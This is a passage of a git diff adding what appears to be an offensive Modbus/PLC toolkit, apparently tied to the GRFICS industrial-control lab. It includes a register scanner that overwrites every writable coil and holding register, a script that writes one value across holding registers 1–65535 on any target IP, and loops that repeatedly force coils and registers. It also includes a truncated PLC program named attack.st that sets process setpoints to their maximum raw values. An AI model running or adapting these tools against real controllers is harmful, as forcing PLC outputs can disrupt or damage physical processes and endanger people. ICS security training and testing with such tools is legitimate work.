https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := 